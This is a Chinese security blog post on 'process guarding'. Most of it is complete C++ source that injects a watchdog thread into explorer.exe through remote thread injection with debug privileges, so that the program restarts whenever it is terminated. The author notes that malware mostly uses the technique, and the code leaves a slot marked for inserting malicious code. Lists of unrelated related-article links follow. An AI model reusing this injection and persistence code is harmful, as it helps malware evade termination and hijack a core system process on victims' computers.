简介

所谓进程守护,就是A进程为了保护自己不被结束,创建了一个守护线程来保护自己,一旦被结束进程,便重新启动。进程守护的方法多被应用于恶意软件,是一个保护自己进程的一个简单方式,在ring3下即可轻松实现。而创建守护线程的方法多采用远程线程注入的方式,笔者之前曾介绍过远程线程注入的基本方式,主要分为[DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532051.html)和[无DLL远程注入](https://www.cnblogs.com/PeterZ1997/p/9532065.html)。

代码实现

//////////////////////////////////////////////////////////////////
//
// FileName : ProcessProtectorDemo.cpp
// Creator : PeterZheng
// Date : 2018/9/06 17:32
// Comment : Process Protector
//
////////////////////////////////////////////////////////////////// #pragma once #include <cstdio>
#include <iostream>
#include <cstdlib>
#include <string.h>
#include <string>
#include <strsafe.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <vector> using namespace std; #define MAX_LENGTH 255
#pragma warning(disable:4996) //远程线程参数结构体
typedef struct _remoteTdParams
{
LPVOID ZWinExec; // WinExec Function Address
LPVOID ZOpenProcess; // OpenProcess Function Address
LPVOID ZWaitForSingleObject; // WaitForSingleObject Function Address
DWORD ZPid; // Param => Process id
HANDLE ZProcessHandle; // Param => Handle
CHAR filePath[MAX_LENGTH]; // Param => File Path
}RemoteParam; //本地线程参数结构体
typedef struct _localTdParams
{
CHAR remoteProcName[MAX_LENGTH];
DWORD localPid;
DWORD remotePid;
HANDLE hRemoteThread;
}LocalParam; //字符串分割函数
BOOL SplitString(const string& s, vector<string>& v, const string& c)
{
string::size_type pos1, pos2;
pos2 = s.find(c);
pos1 = 0;
while (string::npos != pos2)
{
v.push_back(s.substr(pos1, pos2 - pos1)); pos1 = pos2 + c.size();
pos2 = s.find(c, pos1);
}
if (pos1 != s.length())
v.push_back(s.substr(pos1));
return TRUE;
} //远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef UINT(WINAPI *ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
typedef HANDLE(WINAPI *ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
typedef DWORD(WINAPI *ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
ZWinExec ZWE;
ZOpenProcess ZOP;
ZWaitForSingleObject ZWFSO;
ZWE = (ZWinExec)lprp->ZWinExec;
ZOP = (ZOpenProcess)lprp->ZOpenProcess;
ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
ZWFSO(lprp->ZProcessHandle, INFINITE);
ZWE(lprp->filePath, SW_SHOW);
return 0;
} //获取PID
DWORD __cdecl GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) return 0;
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
} //获取权限
int __cdecl EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken)) return 1;
if (!LookupPrivilegeValue(NULL, name, &luid)) return 1;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return 1;
return 0;
} //线程注入函数
BOOL __cdecl InjectProcess(const DWORD dwRemotePid, const DWORD dwLocalPid, HANDLE& hThread)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemotePid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "OpenProcess");
rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WinExec");
rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "WaitForSingleObject");
rp.ZPid = dwLocalPid;
CHAR szPath[MAX_LENGTH] = "\0";
GetModuleFileName(NULL, szPath, sizeof(szPath));
StringCchCopy(rp.filePath, sizeof(rp.filePath), szPath);
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
} //远程线程监控函数(本地线程函数)
DWORD WINAPI WatchFuncData(LPVOID lprarm)
{
HANDLE hRemoteThread = ((LocalParam*)lprarm)->hRemoteThread;
DWORD dwLocalPid = ((LocalParam*)lprarm)->localPid;
DWORD dwRemotePid = ((LocalParam*)lprarm)->remotePid;
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), ((LocalParam*)lprarm)->remoteProcName);
DWORD exitCode = 0;
while (TRUE)
{
if (!hRemoteThread) InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
GetExitCodeThread(hRemoteThread, &exitCode);
if (exitCode^STILL_ACTIVE)
{
WinExec(szRemoteProcName, SW_HIDE);
dwRemotePid = GetProcessID(szRemoteProcName);
InjectProcess(dwRemotePid, dwLocalPid, hRemoteThread);
}
Sleep(1000);
}
return 0;
} //主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
LocalParam lpLp;
ZeroMemory(&lpLp, sizeof(LocalParam));
CHAR szRemoteProcName[MAX_LENGTH] = "\0";
CHAR szLocalProcName[MAX_LENGTH] = "\0";
CHAR currentFilePath[MAX_LENGTH] = "\0";
vector<string> pathGroup;
GetModuleFileName(NULL, currentFilePath, sizeof(currentFilePath));
SplitString(currentFilePath, pathGroup, "\\");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), pathGroup[pathGroup.size() - 1].c_str());
StringCchCopy(szRemoteProcName, sizeof(szRemoteProcName), "explorer.exe");
StringCchCopy(szLocalProcName, sizeof(szLocalProcName), szLocalProcName);
StringCchCopy(lpLp.remoteProcName, sizeof(lpLp.remoteProcName), szRemoteProcName);
DWORD dwRemotePid = GetProcessID(szRemoteProcName);
DWORD dwLocalPid = GetProcessID(szLocalProcName);
HANDLE hThread = NULL;
lpLp.remotePid = dwRemotePid;
lpLp.localPid = dwLocalPid;
hThread = CreateThread(NULL, 0, WatchFuncData, LPVOID(&lpLp), 0, 0);
//....插入恶意代码等工作流程
while (TRUE)
{
MessageBox(NULL, "Hello!!", "HAHA!! XDD", MB_OK);
}
WaitForSingleObject(hThread, INFINITE);
return 0;
}

安全之路 —— C++实现进程守护的更多相关文章

  1. Android 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护

    本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context  ↳an ...

  2. Android实现双进程守护 (转)

    做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...

  3. 保持Service不被Kill掉的方法--双Service守护 && Android实现双进程守护

    本文分为两个部分,第一部分为双Service守护,第二部分为双进程守护 第一部分: 一.Service简介:Java.lang.Object ↳Android.content.Context  ↳an ...

  4. NodeJs之进程守护

    进程守护 由于nodejs的单线程的脆弱性,一旦遇到运行错误便会严重到退出node进程导致系统或应用瘫痪,所以pm2,forever出现了,帮助我们实现进程的重启,这只是他们的特性之一. 实例演示进程 ...

  5. Android NDK(C++) 双进程守护

    双进程守护如果从进程管理器观察会发现新浪微博.支付宝和QQ等都有两个以上相关进程,其中一个就是守护进程,由此可以猜到这些商业级的软件都采用了双进程守护的办法. 什么是双进程守护呢?顾名思义就是两个进程 ...

  6. Jexus进程守护工具jws.guard

    一个运行中的进程,难免会因为各种各样的原因无缘无故的宕掉(比如网站瞬间的负载过高.内存不足等),而Jexus宕掉的后果往往只有一个:对外提供服务的网站无法访问了.因此,我们需要最大限度的保障我们的网站 ...

  7. Python Twisted系列教程16:Twisted 进程守护

    作者:dave@http://krondo.com/twisted-daemonologie/  译者: Cheng Luo 你可以从”第一部分 Twist理论基础“开始阅读:也可以从”Twisted ...

  8. Android实现双进程守护

    做过android开发的人应该都知道应用会在系统资源匮乏的情况下被系统杀死!当后台的应用被系统回收之后,如何重新恢复它呢?网上对此问题有很多的讨论.这里先总结一下网上流传的各种解决方案,看看这些办法是 ...

  9. Window提高_3.1练习_双进程守护

    双进程守护 当打开一个进程A的时候,此进程检测是否存在进程B,如果不存在就创建进程B. 进程B的作用是检测进程A是否被关闭,如果被关闭了,就再创建一个进程A. 双进程守护A.exe代码如下: #inc ...

随机推荐

  1. 高可用Hadoop平台-Oozie工作流

    1.概述 在开发Hadoop的相关应用使用,在业务不复杂,任务不多的情况下,我们可以直接使用Crontab去完成相关应用的调度.今天给大家介绍的是统一管理各种调度任务的系统,下面为今天分享的内容目录: ...

  2. Hadoop项目开发笔录

    1.概要 我打算分享一下,我开发Hadoop的一些心得,对于即将步入Hadoop行业的童鞋,希望我整理的这些博文对您有帮助,我打算分为以下几部分来描述. 2.步骤 注:点击链接可直接跳到指定位置 Ha ...

  3. Spring Boot + Spring Cloud 构建微服务系统(一):服务注册和发现(Consul)

    使用Consul提供注册和发现服务 什么是 Consul Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其它分布式服务注册与发现的方案,Consul ...

  4. Controller:EOS区块链核心控制器

    Controller是EOS区块链的核心控制器,其功能丰富.责任重大. 关键字:EOS,区块链,controller,chainbase,db,namespace,using,信号槽,fork_dat ...

  5. 【杂谈】对IO与NIO的认识

    IO流与NIO块的数据缓存 Java的IO是面向流设计的,通常我们通过IO流读取数据,只能指定读取数据的大小,而不能选择数据读取的起始位置.数据就像流水一样,流过我们的应用,一旦流过就无法回头.除非我 ...

  6. Java 8 新特性-菜鸟教程 (5) -Java 8 Stream

    Java 8 Stream Java 8 API添加了一个新的抽象称为流Stream,可以让你以一种声明的方式处理数据. Stream 使用一种类似用 SQL 语句从数据库查询数据的直观方式来提供一种 ...

  7. [SCOI2015] 情报传递

    题目描述 奈特公司是一个巨大的情报公司,它有着庞大的情报网络.情报网络中共有 n 名情报员.每名情报员可能有若干名 (可能没有) 下线,除 1 名大头目外其余 n−1 名情报员有且仅有 1 名上线.奈 ...

  8. Umbraco 7 支持Microsoft Word 2013 发布内容

    本文介绍如何使用Microsoft Word 2013 编写或编辑你的Blogs或新闻页面,甚至不需要打开浏览器, 我将分成两部分来讲. 概述 本例实采用的是Umbraco 7.2 版本,首页效果: ...

  9. C# 循环语句 for

    循环:反复执行某段代码. 循环四要素:初始条件,循环条件,循环体,状态改变. for格式 for(初始条件;循环条件;状态改变) { 循环体 } break ——中断循环,跳出整个循环 continu ...

  10. Java-IO:复制文件

    import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStrea ...